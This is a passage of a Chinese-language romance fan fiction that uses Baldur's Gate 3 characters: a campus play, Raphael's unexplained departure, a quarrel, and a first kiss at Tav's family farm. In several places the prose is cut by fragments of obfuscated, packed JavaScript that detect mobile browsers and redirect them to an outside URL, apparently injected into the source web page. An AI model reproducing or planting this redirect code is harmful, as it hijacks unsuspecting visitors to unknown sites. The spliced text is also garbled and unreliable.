塔夫连忙向经验丰富的前辈学习,阿斯代伦优雅地理下银色卷发:“这可是我和她之间的小秘密。”见塔夫一脸无语,他又清下嗓子,“我愿意分享给你,不过前提是,你也分享一件我感兴趣的。” 呵呵。肯定是关于她和拉斐尔的吧。 塔夫装作没听见:“泽希诺呢?可以来补妆了!” …… 观众开始陆续入场。 塔夫看到好多熟悉面孔,竟然还有派对一起玩游戏时见过的好几人。 观众开始抱怨没有足够座位。 塔夫早有准备,之前同管理中心确认过不会影响安全,在一部分通道区域增加临时座位,并提前划出站票区域。 威尔带了好几位同学来搬椅子,影心和哈尔辛也一起帮忙协调。 事情还算有条不紊,演出只推迟了几分钟。塔夫长出一口气,终于赶去剧院后方的控制室,却忽然被黏上一道如有实质而又毫无掩饰的审视目光,令她皮肤瞬间升起一层鸡皮疙瘩。 视线来自包厢。塔夫抬起头,观众席的灯光已经彻底暗了下来。 . 舞台之上,帷幕没有升起,微弱灯光照出一栋低矮房子的背面,又如同蜂巢一般分隔出许多更小的房间,拥挤而毫无区别。 阿斯代伦作为叙事者,直接打破第四面墙,向观众讲述这是他曾经的生活。开场曲过后,其中一个房间亮起灯光,帷幕随之升起,背景转入房间中。 阿斯代伦走上舞台,加入妹妹萝拉和母亲。 演出正式开始。 …… 公寓里,母亲永远在打断或纠正阿斯代伦和萝拉的做法,总是感到不满,偶尔的快乐都来自回忆往昔,哪怕儿女对这段故事都已经能够倒背如流 “那时,只一个下午,就有十七位绅士追求我、向我示爱。” “让她继续说吧,哥哥。”萝拉阻止了阿斯代伦的讽刺。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14341124|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我很担心你,萝拉。”母亲最后道,“我太担心你了,为什么就没有人追你呢?你哥哥也是,丝毫不关心自己的妹妹,不为你介绍任何男人。” “请住嘴吧!”阿斯代伦愤然离开。 “母亲是对我好。”萝拉对她的玻璃动物们说,虽然这只让她更加自卑难堪。 . 萝拉回忆起高中时代。 她在学校始终小心掩饰着跛脚,却还是在听到舞会消息时陷入崩溃,藏到太阳落山才敢离开盥洗室的隔间。偷偷回到教室拿书本时,她见到拉斐尔。 在暖色的夕阳中,他整个人镀着一层金色,给人带来温柔的希望。他微微转过身,看向萝拉的方向,也第一次望向观众。 塔夫听到一片倒吸一口气的声音,无比清晰。 哪怕她自己已经看过这一幕无数次,心脏还是狠狠跳了一下,眼前重叠出她初次见到拉斐尔的那天傍晚。里萨的灯光效果不遗余力,让他看上去英俊美好得几乎不真实。 迷恋他变得如此顺理成章。 . 虽然中场休息只有十五分钟,塔夫仍是忍不住跑去后台。拉斐尔却不在那里。 “他去哪儿了?”塔夫问。 菲拉道:“他说一会回来。” 阿斯代伦罕见地没有开玩笑,却也没回答:“不用担心他,塔夫。” 塔夫其实只是想见见拉斐尔。 演出结束后,就是二人共同期待的那一刻,还有明天的约会。可不知为什么,她心里却一沉,之前同拉斐尔的短短对话,似乎也算不上愉快。 拉斐尔始终没有出现。塔夫最后还是先赶回控制室,又多等几分钟,这才指示里萨闪烁灯光,预告演出马上开始。 …… 也许她的确多虑了。 下半场以拉斐尔的演唱顺利开始,甚至比以往几次还要完美: “微笑痛苦,都将散去。 “千言万语,化作尘埃。” …… 一曲尚未结束,塔夫已经肯定,剧场册子——其中包含这首由菲拉谱曲作词的《低泣黎明》的全部细节,一定会被购买一空。 而她的心情,则正如影心曾开玩笑引用剧本的那样,“忽上忽下,忽喜忽忧”。幸运的是,再过一个小时,这不确定就能结束。那之后,会是一个新的开始。 . 时间随着舞台上的情节缓缓流逝。 终于到了最后一场,拉斐尔在萝拉母亲的质问下坦白,他不会娶萝拉: “我不能同她结婚!”他顿了下, “我已有无法违背的期望和责任。”他的声音慢慢低沉下去,“因此我无法自由选择自己的生活。” 塔夫皱起眉,萝拉和母亲也都明显一怔。 台词回到了没有改动前的最初版。 但拉斐尔感情诚挚,另外两位演员的怔愣反应更是十分真实,没有任何观众发现不对。在萝拉母亲更加歇斯底里地质问前,拉斐尔放下萝拉赠予他的、摔断角的玻璃独角兽:“我不愿伤害你,但再见了。” 他转身最后望了观众席一眼,仿佛在寻找什么。 塔夫在剧院最后方,离舞台最远的地方。但无论拉斐尔能否看见,塔夫还是朝他微笑点点头。如同看到她的回应,拉斐尔戴上帽子,扶着帽檐微微鞠了一躬,正式告别走下舞台。 . 接着是母子争吵,阿斯代伦离家出走,以及预示着希望的终幕。 在哥哥离开后,萝拉拥抱了自己的独角兽,缓缓展开信。 帷幕落下,阿斯代伦的声音响起:“我最亲爱的萝拉……” . 热烈掌声中,演员重新回到台上谢幕,菲拉也被从后台拉上舞台,向观众致意。拉斐尔却不在其中。 塔夫几乎能听见观众好奇地询问。 开始有人喊拉斐尔的名字,似乎是喜欢看热闹的金色头发一行人。 喊声变得整齐响亮起来,但拉斐尔始终没有出现。 . 75.游戏 演出很成功。 谢幕时的那点小插曲丝毫没有影响剧场小册子的销售,还有更多人捐款。其中一位校友更是在意向表上写下整整一千金币这个慷慨的数字。 “是因为倒数第二幕令人印象深刻的对手戏,恭喜你萝拉!”里萨兴奋地念着留言。 萝拉则读着另外一个两百金币的捐款意向:“致最后的独角兽。这是给你的里萨!” 两个人开心地继续你一句我一句,菲拉在一旁默默吃着干醋。塔夫在她身边整理道具,心里也很是烦闷困惑。 拉斐尔不告而别,阿斯代伦也很快离开,而剧团其他人并没有太惊讶的样子。二人虽然始终彬彬有礼,但其实和每个人都保持着相当的距离。特别是萝拉那件事后,剧团大多数人都抱着一种清醒的“自知之明”: “哪怕在一起社团活动,他们还是另一个世界的人,出了剧团就不会有其他交集。” “他们本来就是来帮忙的,演出结束,自然就离开了。” “也许会感到一些遗憾,不过他们肯定很忙吧! 塔夫很想一个人一个人追问:拉斐尔没有给她留下任何只言片语吗? 但她问不出口,每个人都默认她才是与拉斐尔更熟悉的那个人。 就这样结束了? 塔夫不免心烦意乱。 下午和拉斐尔的一番话虽然不算太愉快,但并没有各说各话或者争吵,他还要她明天穿那条裙子。 难道中场休息的时候发生了什么? 还有他临时修改台词又是为什么?在暗示什么吗? 原剧本中,拉斐尔无法同萝拉交往是因为已经有未婚妻(可能是借口)。如果现实也是如此,未免太过荒谬。 塔夫回忆起过去数月二人相处的点滴,甚至只是昨天晚上那十几分钟,便立刻否决了这猜测。然而她都无论如何也无法找出一个合理原因。 没想到威尔特地等在后台,恭喜一番演出成功后,又低声对她说明来意:“关于拉斐尔。” 塔夫心猛地一跳,连忙告诉菲拉自己稍后再去找她们一起庆祝。 只有她和威尔两人时,威尔却先问她是否还记得一周前在赛艇俱乐部的派对的事。 ——她与拉斐尔撞见他和米佐拉。 塔夫怔了下才想起来:“我没有和任何人提起过。” “不妨事。”威尔又说,“明天晚上的慈善舞会,拉斐尔会邀请米佐拉。” 塔夫一时搞不清楚两件事的联系,奇怪问:“所以你要邀请我去舞会?”威尔一脸疑惑,塔夫则有点尴尬,解释道,“四个人交换舞伴什么的。”她居然迅速构思出“你抢我舞伴,那我就抢你的”这种狗血四角恋情。 “我明晚坐船回家。”塔夫轻咳一声,干脆直接问威尔,“演出结束后你见到拉斐尔了吗?” 威尔看上去仍在试图理解她刚才的逻辑,过了会才说: “是的。我看到他与卡尼亚大公一起离开。” …… 塔夫思索威尔刚才的一番话。 他后来大部分时间是在询问拉斐尔与她的交易——威尔的确是个善良又有责任感的人,因为他惹出的这场麻烦,直到最后确认了对她没有影响,这才终于放下心来。 至于为什么提到米佐拉,威尔一下有些难为情,只说他觉得塔夫应该知道。 同拉斐尔相比,猜测威尔的想法要容易得多,至少对塔夫而言。因为她只需要往好的地方想,就大差不差。 威尔先提到四人在派对的有些尴尬的见面,那时她和拉斐尔举止亲密。所以威尔担心她蒙在鼓里,认为她应该知道拉斐尔和米佐拉的舞会安排。而直到现在才说,可能是因为他不希望影响演出,也可能是因为他刚得知便立刻告诉她了。 托威尔的福,塔夫还知道梅菲斯特也来参加校友日的庆祝。 拉斐尔临时修改台词,责任什么的是暗示这个?但这有什么不能说的,还不告而别? . 塔夫心事重重,提前离开剧团庆祝。 然而她并没有回宿舍休息,而是赶去拉斐尔的住处。远远就听到小提琴的声音,接着乐声和说笑声越来越清晰。那里显然有一场聚会。再走近些,花园布置得雅致考究,宾客衣着雍容华贵,甚至连侍者都打扮得格外精致。 塔夫脚步不由得一顿。 这里离校园各处都有一定距离,不偏僻但私密性好,需得是特意来才能经过。她没有邀请,也觉得自己格格不入,目光游移片刻,还是慢慢进入宴会在人群中寻找拉斐尔。 她始终没有向任何人询问。 ——偶尔的短暂眼神接触后,轻蔑的微笑已经算是不错的反应,有的人根本假装看不到她。 或者轻描淡写地强调她的不同,听上去是关心,实际是贬低: “你一定是第一次参加这种上流社会的酒会吧?” 诺亚那双灰蓝色的眼睛里盛满毫不掩饰的恶意,“你来这里是在找谁吗?” 不知道他是怎么得到这份酒保工作的。 “我更喜欢你没办法说话的时候。”塔夫盯着诺亚,刻薄道,“你来这里是因为想要延长闭嘴的时间吗?” “呵,典型的塔夫式回答。”不过诺亚并没有生气,反而勾起唇,边说边开始调制一款鸡尾酒,“你一定以为自己很特别,不过你也只是在他的游戏中。” “不,甚至更糟。” 诺亚取出一个冰冻过的三角杯,倒入淡淡的不透明的嫩黄色酒液,有意停下刚才的故弄玄虚,更加装模做样地为塔夫慢慢介绍起来,“琴酒、查特绿、新鲜青柠汁、樱桃白兰地。” 塔夫哼一声,耐着性子等他。 “这杯算我请你的。”诺亚把鸡尾酒推给塔夫, “酒的名字叫做‘临别一言’或‘最后一语’。 “你看上去实在太过无知,所以我特意为你调得更酸更苦。” 他毫无怜悯地同情道, “可怜的塔夫,你甚至不知道,自己的游戏是什么时候结束的。” . 塔夫没有接过那杯酒,也没有继续再找拉斐尔。 她不想在诺亚面前难堪。 . 虽然诺亚那番话含沙射影、令人极其不快,塔夫却当然不会就这样怀疑拉斐尔。回到房间,重新检查一遍收拾好的行李后,她把那条绿裙子小心拿了出来。 她更记得拉斐尔的期待,也更相信自己的感受和判断。 也许他在性格上有一些别扭的地方,但他喜欢她。 她也一样。 . 第二天塔夫早早起来,先把两只箱子送到车站,接着去剧场完成收尾工作,又同菲拉交接社团支出明细和剩下的预算,这才回到宿舍房间,换上裙子。 她回忆费加罗那天的手法,在打着哈欠顶着黑眼圈的影心的帮助下,梳了一个不太相似但很像模像样的发辫。 “你已经把我迷到睁不开眼睛了。”影心满意地看着她,又给她一个很轻的拥抱——怕压到裙子。 “你是太困了。”塔夫笑着谢过影心,用力抱住她,“暑假愉快。下学期见。” . 塔夫看看时间,决定直接去二人约定的早午餐,在冲萨河边的校友俱乐部。 和拉斐尔的住处一样,那也是一栋二层的红砖建筑,不过房顶是露台。 而与昨天的酒会相比,这个场合似乎要轻松随意很多。她身上的裙子虽不奢华却也过于隆重,令塔夫再一次觉得自己格格不入,仿佛来自另一个世界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14346575|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她胃部一阵紧缩。 那拉斐尔为什么特意要她穿这条裙子。 难道真是……? 侍者看上去倒像是被她的外表——或者说她穿着的昂贵裙子——震慑住了,敬畏地问她是否有预订。塔夫低声说出拉斐尔的名字。 他没有来。 预订并没有取消。 塔夫微微松一口气,被引去一张桌子。那里可以看到美丽河景。她无心欣赏,为了缓解紧张、以及阻止自己下意识地掐指尖,一口接一口连着喝了两杯冰水,胃里更加不舒服。犹豫要不要第三杯时,看到一个奇怪而又和谐的组合。 拉斐尔,身旁是他父亲,梅菲斯特·卡尼亚大公; 米佐拉,身旁的女士气质高傲,看上去像是画像中的扎瑞尔·埃弗纳斯大公; 威尔,身旁一位威严的深色皮肤男人,应该是他的父亲雷文伽德公爵。 六人衣着正式,气质出众,从她桌旁越过时像是没有看见她——或周围任何人,直接往顶层露台走。 塔夫碰倒桌上空杯,发出一声闷响。 第一个有所反应的是米佐拉。 她朝塔夫弹弹手指,算是打招呼,接着对扎瑞尔说:“曾有过两面也许是三面之缘。”她似乎早已不记得塔夫的名字。扎瑞尔轻点了下下巴。 威尔倒是真的刚看到塔夫,朝她致意又介绍说:“塔夫。盖尔课上的教学助理。盖尔·德卡里奥斯教授。” 雷文伽德公爵打量一眼塔夫,礼貌微笑:“原来是认识的同学。” 塔夫盯着拉斐尔,他表现得根本不认识她,梅菲斯特仍傲慢地向下垂着嘴角。 威尔友善询问塔夫是否想要一起,塔夫摇摇头:“不了谢谢。我很快就会离开。十分钟后。” . 塔夫数着时间,直到十二分钟后,拉斐尔才匆匆下楼。 他仍一副没有看见她的模样,似乎只是需要去洗手间。塔夫觉得自己简直快把脸丢光了,却还是跟了上去,在角落处终于说:“如果你不停下,我会跟进去的。我说到做到。” 拉斐尔终于转过身。 塔夫狠狠眨下眼睛,努力克制着音量:“这是怎么一回事?” 拉斐尔望着她,嘴唇绷得笔直。 但至少没有装作不认识她了。塔夫冷笑:“又是因为你父亲?在他面前你就认不出我了?” 拉斐尔声音很低:“我……不能……” 塔夫脑海闪过无数问题。 之前的道歉算什么?他为什么不能告诉自己? 是她不值得信任吗? 是她哪里做得不够好让他觉得她不值得信任? 塔夫忽然感到一种刺痛,大声讥笑道: “你是不能,还是不敢?在父亲身旁按他的心意做乖乖哑巴木偶一定让你感到很安全吧。真想不到,原来你一直还是那个胆小鬼!” 拉斐尔的镇定被打碎,脸一下涨得通红,却仍压低声音:“那不是真的!你又知道什么?” “我的确什么都不知道。因为你什么也不肯告诉我。”塔夫盯着拉斐尔。 他声音几乎低不可闻:“请……我。”塔夫没听清:“什么?”她几乎以为拉斐尔会继续解释,他却忽然重新变得面无表情。 塔夫心沉下更多,昨晚诺亚的话像毒蛇一样在最底处嘶嘶吐着信子,她不愿相信地试探问: “这对你,其实是一个什么游戏吗?” 拉斐尔猛地睁大眼睛,瞳孔似乎都竖起来一瞬。 塔夫倒吸一口气,差点忘记要怎么呼出,又忍不住自嘲:“那么恭喜,你赢了。” 她干脆地转身,看到梅菲斯特站在走廊尽头。她愣了下,接着脚步没有任何停顿地离开,就好像没有看到他一样。 . 76.告密 拉斐尔并没有叫住她或跟上她。 塔夫换下裙子,连着防护罩一起包好,直接来到拉斐尔住处。 昨晚的长桌还没有收起,雪白桌布在阳光下泛着光泽。 似乎是绣有暗纹的昂贵丝绸,但就那样随意地染上斑驳酒水痕迹。 塔夫下意识抓紧手中的丝绸裙子,做了个深呼吸,敲响厚重大门。 门后是一位清秀的年轻人,指尖捻着数片腌黄瓜,看到她,眼睛睁得几乎比黄瓜片还大,一口吞下全部:“呜!咳。咕噜?” 塔夫:? 塔夫:“拉斐尔见到这个就明白了。” 见对方没有伸手,她放下衣服转身就走。年轻人叫住她,语气懒洋洋的,却是问她要不要带一罐子腌黄瓜: “独家配方,也许我们也同样的‘口味相投’呢,小塔夫。” 塔夫怔愣片刻,回过头:“哈勒普?” “嗯哼。需要我变成拉斐尔的样子,给你一个告别吻吗?” …… 回家的路上,塔夫反常地先晕马车,接着开始晕船,有些后悔没有接受哈勒普的那罐腌黄瓜。 她没办法看书,头晕脑胀地躺在和船舱同样狭小的床板上,所能思索的全部是和拉斐尔的这场“游戏”。 不难猜到,游戏开始的时间是二人签订契约的时候。而游戏的胜利条件或奖品,是看她出丑,等她喜欢上他再告诉她这一切都是假的。 ——诺亚是这样暗示的。 但这简直太过莫名其妙,拉斐尔是有多无聊才会花时间做这种事? 塔夫想起当时被哈勒普的轻佻吓了一跳,却忍不住质问他,结果两人越说越多,直到她不得不离开去赶马车。如果哈勒普说的都是真的,她倒是真的从一开始就被蒙在鼓里。 她记得自己问得相当含糊:“这是从什么时候开始的?” “哈!从你们签订契约的第二天开始。” 哈勒普立刻理解了什么,态度则像是说起一位二人共同老友的童年糗事, “拉斐尔先向盖尔询问借翼猫的事,没成,就大张旗鼓地要散塔林会找。运气不错很快碰到一只,费了好大力气,要求船主在码头停留几个小时…… “又找到相似笼子研究……准备动物交谈戒指……” 他好笑似的咂咂嘴,“后来为了,咳咳,氛围感,还提议免费酒水活动,外加现场音乐表演。” …… 拉斐尔还真是花了好多时间好大功夫,只是为了让她摸一次翼猫的爪子。 却不告诉她?! 如果不是同哈勒普问起,她恐怕始终不会知道。 而哪怕她现在知道了,也无法理解拉斐尔为什么要遮掩。 她心情糟糕,不免有一个阴暗的猜测——拉斐尔把这件令人感动的事留到重要时刻,比如这次争吵的时候才放出来,好让她心软。 然而哈勒普是用说悄悄话的调侃语气,还讲了一堆不相干的琐碎细节和小事。她也是稍微平静下来后,才得以把这些关键拼在一起,又与拉斐尔当时对自己说的“烟雾弹”联系起来。 拉斐尔可还真是把什么都藏在肚子里。还擅于误导! 塔夫又好气又好笑,更多的可能还是好笑,忍不住笑了下。 当然,她不意外哈勒普是站在拉斐尔的立场上对事情加以美化,但对方的神态更像是那种“我憋了很久了,只悄悄跟你说,你可千万别告诉拉斐尔!”于是她被鼓励着好奇起来——哪怕她当时仍在生拉斐尔气,可还是忍不住想知道他更多。 于是她还意外发现,原来自己其实一直偷偷在意一件事。 哈勒普变成拉斐尔的样子多少次,又“有服务意识”地和多少女生亲密过。 哪怕她知道那不是拉斐尔——他在肢体接触中简直被动得令人吃惊,无论牵手还是拥抱。可是一想到有这么一位同他长相一模一样的人,在他的要求下,使用欺骗的手段,和许多其他女生相拥着在床上…… 塔夫胃里又泛起一股不适。 真是的,她干嘛主动去想那种画面。 她记得自己当时询问哈勒普时态度十分自然:“你似乎很习惯变成拉斐尔的样子和女生吻别嘛??!!” 好吧,大概不算那.么.自然。 哈勒普似乎恐慌了一瞬,但说话风格未变,还是东拉西扯,并随时随地咏几句诗歌。塔夫在一大堆乱七八糟的感叹中提取到的信息包括: 变成拉斐尔前,哈勒普总是会告知或询问女生,确保她们是知情的。 ——她那次是例外。 哈勒普总是会留下明显不同,时刻提醒对方他并不是拉斐尔。 ——她那次是例外。 哈勒普从没有执行过□□任务,如果有任何脱去衣服甚至裸露皮肤的情形,他需要变回自己。 ——她那次是例外。 …… 简而言之,她是例外。 言而总之,她还是例外。 至于次数,哈勒普漫不经心地说:“更是两只手数都得过来。要知道,我变一次可还是很有些辛苦的呢。” 塔夫诧异:“这算是多还是少?” 哈勒普干笑一声,却又开始自夸,他自己真是既有魅力又有风度还很幽默,所以和拉斐尔相比,他总是更与女生合拍云云。 对此……塔夫没做任何评价,虽然她一开始也是这么认为的。 她最后打断哈勒普:“我得去赶马车了。” . 尽管如此,想到几周的期待落空,而拉斐尔却那副冷漠的样子,塔夫还是气得胸口疼,接着又一阵难过,眼底居然涌上一片灼热。 反正她也正因为晕船不舒服,就干脆躺着让眼泪流了一会,直到泪水滚进耳朵,又刺痛眼睛。 她坐起身找手帕,结果一阵眩晕倒了回去,没什么缓冲地撞在床板上。 还添上了后脑勺疼。 而这全都怪拉斐尔! . 这次航程格外漫长,于是怨愤之余,塔夫也懊恼起自己那番带刺的话。 拉斐尔有事不说让她感到不解和无力,但正如她和拉斐尔某次争吵合好时说的,她当然可以感到愤怒,却也可以选择换种表达方式,她以后真的得…… 她和拉斐尔还有以后吗? 等暑假结束重新回到学校已经是三个月后,恐怕拉斐尔不再需要假装就能够和她形同路人。 说不定连路人都算不上,她不会有什么机会再见到他,就如过去三年一样。 更何况,尽管她每次事后后悔,但脾气没多少改变,拉斐尔也能看出来吧,他大概也觉得够了。 塔夫心情再次反复起来。 …… 七天后,农场小镇。 同以往的夏天一样,天气炎热潮湿,空气也沉闷黏重,像是在等待一场迟迟未到的暴雨。 但塔夫看到熟悉的面包房、驿站、铁匠铺,一张张快活的面孔,还有更远处绵延的平原,生机勃勃的繁茂森林,心情仍是轻快明朗起来。 过去三年,甚至过去二十一年,没有拉斐尔,她不是也过得很好吗。 下了船,塔夫干脆将行李交给驿站的半矮人大叔,请他送到农场。自己则挑了一匹格外喜欢的小花马,喂它一根胡萝卜,理好马鞍,翻身上马。 她终于要回家了! 她很肯定,无论母亲、姐姐,还是小布(咳,明斯克),都会给她慰藉的力量。 . 太阳刚开始落下时,塔夫远远看到农舍上空的炊烟,心里更加雀跃。 她提前下马,小花很有灵性地安静跟着她来到马厩。塔夫将它拴好,摸摸它的脖子,又在草料里加了一大把甜菜渣,这才蹑手蹑脚来到通向厨房的后门。 她闻到浓郁的黄油派皮香气,还带着酸甜的果香。苹果再过几个月才能收获,所以这肯定是她第二喜欢的草莓大黄派。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可太多期待只会带来失望,失望积累变成愤怒的怨怼。 太可怕了。 拉斐尔朝她走了一步:“塔夫,我……” “不!”塔夫打断他,又立刻后退一步,“你不能这么做!你不能!” 她像是在说服自己或是提醒自己:“你违背承诺!先是没有任何预兆地又装作不认识我,在你的朋友和父亲面前轻视我,然后再若无其事地跑到这里,跑到我的家里!你不能这么做!我不接受!” “我很抱歉,塔夫。我这样做是为了……” “为了我?为了我们?还是为了你自己?”塔夫尖刻地说,“如果是为了我,你为什么之前不告诉我?哪怕是留张便签呢?” “我……不能。” “不能?你还是不能?”塔夫轻轻吸了一口气,不可置信,“那你到底为什么在这里?所以你不是来找我解释的?那你为什么要跟我说话?” “因为我……”拉斐尔皱起眉,张开嘴却又合上。 塔夫冷笑一声:“因为你觉得逗弄我有意思!你根本不信任我也不是真的喜欢我!你只是喜欢看我被你耍得团团转!看我猜测揣摩你的想法,一会开心一会难过,被你的一举一动挑起情绪!你真是想多了!我才不会再受到你的影响!你快点给我让开!” “那不是真的!我信任你!我……”拉斐尔说,然而他却又顿住了。 塔夫眨着眼睛等了会,拉斐尔却只是望着她。 “我真是受够了!”塔夫终于失去耐心,“你仍是什么都不肯说。可你不说我怎么知道?我想知道的又不仅仅是一个解释!还有你对我的想法,你对我的感受……” 拉斐尔忽然抓住她的手腕,将她手掌紧紧按在自己胸口。 他呼吸急促,心脏在胸腔里跳越来越快,仿佛下一刻就会突然跳出,或戛然而止。 “这就是我的感受。”他语气忽然坚定起来。 拉斐尔倾身,吻住塔夫。 . 77.初吻 他怎么敢! 塔夫怒不可遏,狠狠咬住拉斐尔下唇。 他低沉地呻吟一声,带着鼻音,却像是感到极为满足。 争吵似乎在通过亲吻的方式继续。塔夫胡乱拉扯着拉斐尔的头发,更加肆无忌惮地咬他。他没有躲闪,嘴唇始终轻轻贴着她的双唇,一只手伸进她发间,另一只手落在她腰后,将她揽向自己身前,让两人贴得更近。 塔夫唇齿间都是拉斐尔的气息。龙舌兰香混着淡淡的血气。诱人至极。 她早就想吻他了。 塔夫感到自己的愤怒一点点转变成另一种同样强烈的激情。她忍不住舔了舔拉斐尔被咬破的嘴唇,尝到更浓的血腥和更多他的味道。 下一刻,拉斐尔就抓紧她的头发,深深地吻住她。 然而他的嘴唇和手指都在颤抖,仿佛他想这样做很久了,要费很大力气才能克制住自己吻得太重,还带着一种小心翼翼地试探。塔夫呼吸不畅,手和舌头一起用力试图顶开他,他却忽然重重含住她的舌尖,下一刻便勾缠着亲吻得更深。直到她身子开始打颤,连喘息的声音都变得断断续续,他才终于道歉一般,在她唇间低声叹息说:“塔夫,我喜欢你。” 塔夫心里和呼吸都乱成一团,发出一声如同哽咽的喘息。 拉斐尔手下移,揽上她腰腿,轻松把她抱了起来,一边啄吻她一边问:“你也还是喜欢我的,对吗?” 塔夫脚忽然够不到地面,能依靠的只有拉斐尔结实的身体。她重新感到那种无力和不甘,气得奋力推他,再次使劲扯住他的头发向后拽: “你这个讨厌鬼!混蛋!放我下来!你突然在发哪门子疯?你赶快从我眼前消失!” 拉斐尔重新轻声呻吟起来,一手牢牢抚在她后背,一手紧紧握在她大腿上要她环住自己,仰头望着她:“我想你,塔夫。我想见你。我必须来找你。你还记得你那次来找我吗?我那时就这样抱着你。我那时就想这样做了。” 塔夫胸口升起一股酸涩,连着后背和头皮都一阵酥麻,垂眼看着拉斐尔,张口却只能用力呼吸:“啊……” 拉斐尔的眼神带着恳求:“请别让我走,塔夫……请别太快决定……” 塔夫感到一阵迷惘和悸动。如果她真的讨厌拉斐尔、真的不想见到他的话,为什么却想要再次亲吻他呢。她双腿慢慢缠上拉斐尔腰臀,他立刻收到信号,稳稳抱住她向哪里走去。她后背很快抵在树上,拉斐尔手臂撑在她身后,为她缓冲冲击力,又将自己推向她,重新吻住她的嘴唇。动作流畅完美,像是他在心里演练过无数次。 塔夫紧紧贴在拉斐尔身前,但被他牢牢压着的感觉很好,她能听见他的心跳,他真的在这里。塔夫终于闭上眼睛,抓着拉斐尔头发的手也慢慢松开,搂住他的脖子和肩膀。 拉斐尔察觉到她的变化,吻更加热烈绵密,又不满足于此——他的手指在她耳垂轻轻揉捏着,手掌则贴在她颈侧,微微按压,像是在感受她的脉搏跳动。她的心跳和他是一样的,没有规律,却又那么有力。他开始亲吻她的唇角,下巴,一路吻在她脖子上,换成嘴唇感受她的脉搏,又舔舐亲吻着继续一点点上移。 “嗯……拉斐尔……别……好痒!停……”塔夫想起自己一整天都在外面,除了汗水,还有骑马时扬起的尘土,去推他时却发现自己的声音和手臂都没有力气,身体里则翻涌着几乎有些刺痛的热流。 “唔嗯。”拉斐尔已经吻在她耳下,却还是停住了。然而他贴在她发根深深闻了闻,又蹭了蹭,最后在她的耳朵后嘬了一口。 声音在一片寂静中格外响亮,甚至惊动树上的松鼠。 塔夫也吓了一跳:“拉斐尔?!” 拉斐尔像是很满意,搂紧她又抬起她的背,将她重新抱向自己,直到她整个人的重量都靠在他身上。他把脸埋在她脖颈,止不住地低声笑起来。 塔夫被他笑得身子更加发软,但总算找回声音,伸手又去拽他头发:“你在笑什么?你不是在我脖子上戳了个印来报复我咬你吧?你可以先放我下来了。” “好久了,塔夫……听到你喊我的名字……感觉真好。”拉斐尔贴着她的脖子含混说,“请再喊我一次。”他终于将她放回地面,又去寻她嘴唇,被避开了,声音居然委屈起来,“再喊我的名字一次吧,塔夫……塔夫……” 塔夫被他黏糊得无计可施,而且清楚他有多固执,忿忿地小声一字一顿恶狠狠道:“拉.斐.尔。” 可是听上去竟充满情意。 塔夫看到拉斐尔一瞬恍惚的表情。 真奇妙,她明明是在实现他的要求,却也感到一种满足。塔夫忽然也回想起刚考完试的那天傍晚,她那时就有同样的感受。是的,她一直能够影响他的。她对他拥有某种力量,那让她甚至感到有些危险。 她那时多么想念他,又多么想亲吻他。就和现在一样。她甚至多等了两周。 “我们最后那次见面的时候,你到底说了什么。”塔夫终于问,“请我原谅你?” “我希望你能够等我。”拉斐尔这次几乎是立刻回答,“不过我很快就决定,你不需要等我,应该是我来找你。” 塔夫抿抿唇,又向拉斐尔伸出手,想要捧住他的脸重新吻他,最后却像是有仇必报地双手拢在他耳朵上,拇指贴着耳沿轻轻抚摸。拉斐尔眼神充满渴盼,一直深深望着她:“塔夫?” “拉斐尔,我……” 她的话被粗犷的大嗓门打断: “我就说刚才听到什么声……嚯喔!” 明斯克眼睛睁得滚圆,反应过来,第一时间迅速把肩膀上的仓鼠端在掌心,又捂住它的眼睛。塔夫触电般松开手,想要后退一步,拉斐尔却仍揽住她的腰不肯放。 小布:“吱!” 明斯克颤巍巍道:“不,小布,不是的。不是我。我是担心你会……” 小布:“吱吱!” 明斯克:“是这样的,小布,没错,他们两个正准备要……” 小布:“吱吱吱!” 这下就连塔夫都能听明白小布的意思:我都懂!倒是你,给我看看气氛啊! 明斯克倒退两步,一副准备就这么后退着逃走的架势。 塔夫:………… 小布:“吱!” 塔夫连忙喊他:“明斯克!我来告诉你晚饭已经好了!可以去我们那里!” 明斯克咧开嘴:“哦!我就来!哈哈,看样子你们俩已经吃饱了是吗?哈哈!” 塔夫:“……” 小布:“吱!” 明斯克:“咳,我的意思是,一会见。不过!你们俩不用着急!如果需要更多时间的话,别不好意思,告诉我,我也可以晚点再去。” 塔夫:“……” 小布:“吱——!!!” 明斯克终于抱着小布仓惶逃开。 拉斐尔:我们可以继续了吗? 塔夫:拜托你也看看气氛吧! . 塔夫最后也没有吻拉斐尔。 当他问她刚才想说什么时,她恼羞成怒道:“我们之间这件事还没有结束!” 拉斐尔微笑说:“当然。这远远不够。” 听上去像是在说什么一语双关的暧昧玩笑话。塔夫气得瞪拉斐尔一眼,他居然厚颜无耻地凑过来在她唇边亲了亲,又拉住她的手,这才更加认真说:“对不起。” 塔夫盯着拉斐尔,也不免看向他的嘴唇。形状很漂 